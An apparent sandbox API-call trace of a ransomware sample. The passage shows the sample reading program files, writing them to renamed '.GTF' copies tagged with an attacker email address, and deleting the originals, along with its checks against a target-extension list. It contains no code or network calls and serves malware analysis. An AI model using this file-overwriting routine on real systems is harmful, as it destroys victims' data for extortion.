	[0089.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0089.167] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.167] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.169] GetLastError () returned 0x0
	[0089.169] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0xd0d50, lpOverlapped=0x0) returned 1
	[0089.187] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xd0d60, lpOverlapped=0x0) returned 1
	[0089.631] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.631] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1
	[0089.631] SetEndOfFile (hFile=0x388) returned 1
	[0089.631] CloseHandle (hObject=0x388) returned 1
	[0089.631] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.631] SetEndOfFile (hFile=0x33c) returned 1
	[0089.666] CloseHandle (hObject=0x33c) returned 1
	[0089.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.667] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1
	[0089.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.667] lstrlenW (lpString=".doc") returned 4
	[0089.667] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.667] lstrlenW (lpString=".docx") returned 5
	[0089.667] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0089.667] lstrlenW (lpString=".pdf") returned 4
	[0089.667] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.667] lstrlenW (lpString=".xls") returned 4
	[0089.667] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.667] lstrlenW (lpString=".xlsx") returned 5
	[0089.667] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0089.667] lstrlenW (lpString=".ppt") returned 4
	[0089.667] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString=".zip") returned 4
	[0089.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString=".rar") returned 4
	[0089.668] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString=".bz2") returned 4
	[0089.668] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.668] lstrlenW (lpString=".7z") returned 3
	[0089.668] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString=".dbf") returned 4
	[0089.668] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString=".1cd") returned 4
	[0089.668] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString=".jpg") returned 4
	[0089.668] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString=".doc") returned 4
	[0089.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString=".docx") returned 5
	[0089.668] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0089.668] lstrlenW (lpString=".pdf") returned 4
	[0089.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString=".xls") returned 4
	[0089.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString=".xlsx") returned 5
	[0089.668] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0089.668] lstrlenW (lpString=".ppt") returned 4
	[0089.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.668] lstrlenW (lpString=".zip") returned 4
	[0089.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.669] lstrlenW (lpString=".rar") returned 4
	[0089.669] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.669] lstrlenW (lpString=".bz2") returned 4
	[0089.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.669] lstrlenW (lpString=".7z") returned 3
	[0089.669] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.669] lstrlenW (lpString=".dbf") returned 4
	[0089.669] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.669] lstrlenW (lpString=".1cd") returned 4
	[0089.669] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0089.669] lstrlenW (lpString=".jpg") returned 4
	[0089.669] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.669] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0089.669] lstrlenW (lpString="VSTOInstaller.exe") returned 17
	[0089.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0089.670] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=100488) returned 1
	[0089.670] CloseHandle (hObject=0x33c) returned 1
	[0089.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20
	[0089.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0089.670] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.670] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.671] GetLastError () returned 0x0
	[0089.671] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x18888, lpOverlapped=0x0) returned 1
	[0089.674] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x18890, lpOverlapped=0x0) returned 1
	[0089.676] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.677] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0089.677] SetEndOfFile (hFile=0x388) returned 1
	[0089.677] CloseHandle (hObject=0x388) returned 1
	[0089.677] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.677] SetEndOfFile (hFile=0x33c) returned 1
	[0089.678] CloseHandle (hObject=0x33c) returned 1
	[0089.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.679] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1
	[0089.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.679] lstrlenW (lpString=".doc") returned 4
	[0089.679] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0089.679] lstrlenW (lpString=".docx") returned 5
	[0089.679] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0089.679] lstrlenW (lpString=".pdf") returned 4
	[0089.679] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0089.679] lstrlenW (lpString=".xls") returned 4
	[0089.679] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0089.679] lstrlenW (lpString=".xlsx") returned 5
	[0089.679] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0089.679] lstrlenW (lpString=".ppt") returned 4
	[0089.679] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0089.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.679] lstrlenW (lpString=".zip") returned 4
	[0089.679] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0089.679] lstrlenW (lpString=".rar") returned 4
	[0089.679] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0089.679] lstrlenW (lpString=".bz2") returned 4
	[0089.679] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0089.679] lstrlenW (lpString=".7z") returned 3
	[0089.679] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0089.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.679] lstrlenW (lpString=".dbf") returned 4
	[0089.679] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0089.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString=".1cd") returned 4
	[0089.680] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0089.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString=".jpg") returned 4
	[0089.680] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0089.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString=".doc") returned 4
	[0089.680] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0089.680] lstrlenW (lpString=".docx") returned 5
	[0089.680] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0089.680] lstrlenW (lpString=".pdf") returned 4
	[0089.680] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0089.680] lstrlenW (lpString=".xls") returned 4
	[0089.680] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0089.680] lstrlenW (lpString=".xlsx") returned 5
	[0089.680] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0089.680] lstrlenW (lpString=".ppt") returned 4
	[0089.680] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0089.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString=".zip") returned 4
	[0089.680] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0089.680] lstrlenW (lpString=".rar") returned 4
	[0089.680] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0089.680] lstrlenW (lpString=".bz2") returned 4
	[0089.680] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0089.680] lstrlenW (lpString=".7z") returned 3
	[0089.680] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0089.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString=".dbf") returned 4
	[0089.680] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0089.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.680] lstrlenW (lpString=".1cd") returned 4
	[0089.680] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0089.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0089.681] lstrlenW (lpString=".jpg") returned 4
	[0089.681] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0089.681] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.681] lstrlenW (lpString="VSTOLoader.dll") returned 14
	[0089.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0089.681] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=367216) returned 1
	[0089.681] CloseHandle (hObject=0x33c) returned 1
	[0089.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20
	[0089.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0089.681] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.682] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.682] GetLastError () returned 0x0
	[0089.682] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x59a70, lpOverlapped=0x0) returned 1
	[0089.692] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x59a80, lpOverlapped=0x0) returned 1
	[0090.036] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.050] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0090.050] SetEndOfFile (hFile=0x388) returned 1
	[0090.060] CloseHandle (hObject=0x388) returned 1
	[0090.069] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.069] SetEndOfFile (hFile=0x33c) returned 1
	[0090.073] CloseHandle (hObject=0x33c) returned 1
	[0090.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.073] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1
	[0090.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.073] lstrlenW (lpString=".doc") returned 4
	[0090.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString=".docx") returned 5
	[0090.074] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0090.074] lstrlenW (lpString=".pdf") returned 4
	[0090.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString=".xls") returned 4
	[0090.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString=".xlsx") returned 5
	[0090.074] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0090.074] lstrlenW (lpString=".ppt") returned 4
	[0090.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.074] lstrlenW (lpString=".zip") returned 4
	[0090.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString=".rar") returned 4
	[0090.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString=".bz2") returned 4
	[0090.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.074] lstrlenW (lpString=".7z") returned 3
	[0090.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.074] lstrlenW (lpString=".dbf") returned 4
	[0090.074] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.074] lstrlenW (lpString=".1cd") returned 4
	[0090.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.074] lstrlenW (lpString=".jpg") returned 4
	[0090.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.075] lstrlenW (lpString=".doc") returned 4
	[0090.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.075] lstrlenW (lpString=".docx") returned 5
	[0090.075] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0090.075] lstrlenW (lpString=".pdf") returned 4
	[0090.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.075] lstrlenW (lpString=".xls") returned 4
	[0090.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.075] lstrlenW (lpString=".xlsx") returned 5
	[0090.075] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0090.075] lstrlenW (lpString=".ppt") returned 4
	[0090.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.075] lstrlenW (lpString=".zip") returned 4
	[0090.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.075] lstrlenW (lpString=".rar") returned 4
	[0090.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.075] lstrlenW (lpString=".bz2") returned 4
	[0090.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.075] lstrlenW (lpString=".7z") returned 3
	[0090.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.075] lstrlenW (lpString=".dbf") returned 4
	[0090.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.075] lstrlenW (lpString=".1cd") returned 4
	[0090.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0090.075] lstrlenW (lpString=".jpg") returned 4
	[0090.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.075] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.076] lstrlenW (lpString="decora_sse.dll") returned 14
	[0090.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.076] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=86080) returned 1
	[0090.076] CloseHandle (hObject=0x33c) returned 1
	[0090.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20
	[0090.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
